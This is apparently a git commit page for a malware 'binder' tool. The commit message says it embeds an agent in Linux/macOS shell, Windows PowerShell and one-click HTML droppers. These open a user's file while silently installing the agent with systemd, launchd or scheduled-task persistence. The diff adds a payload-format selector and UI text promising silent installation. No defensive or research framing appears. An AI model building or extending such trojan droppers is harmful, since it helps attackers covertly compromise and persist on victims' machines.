feat: self-contained binder v2 — agent embedded directly, no curl required
- /api/bind now embeds agent.py as base64 (fully offline install) - New HTML format: one-click browser payload (auto-downloads file) - PS1 format: Windows dropper with embedded agent + schtasks persistence - SH format (default): Linux/macOS dropper, extracts both file + agent - Agent installs to /opt/network-agent/ with systemd or launchd persistence - Frontend: format selector (SH/PS1/HTML) in binder modal - Verified: both payloads extract correctly, agent.py passes py_compile
This commit is contained in:
@@ -771,7 +771,8 @@ async function submitBinder() {
|
||||
formData.append('file', binderFile);
|
||||
|
||||
try {
|
||||
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
|
||||
const format = document.getElementById("binderFormat").value;
|
||||
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
|
||||
if (!resp.ok) {
|
||||
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||
|
||||
@@ -496,6 +496,14 @@
|
||||
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
|
||||
<div class="modal-actions">
|
||||
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
|
||||
<div class="form-group" style="margin-top:0.75rem;">
|
||||
<label>Payload Format</label>
|
||||
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
|
||||
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
|
||||
<option value="ps1">PowerShell (.ps1) — Windows</option>
|
||||
<option value="html">HTML Payload (.html) — One-click browser</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||
</button>
|
||||
@@ -503,7 +511,7 @@
|
||||
<div class="modal-info-box" style="margin-top: 0.5rem;">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
<div>
|
||||
<strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
|
||||
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user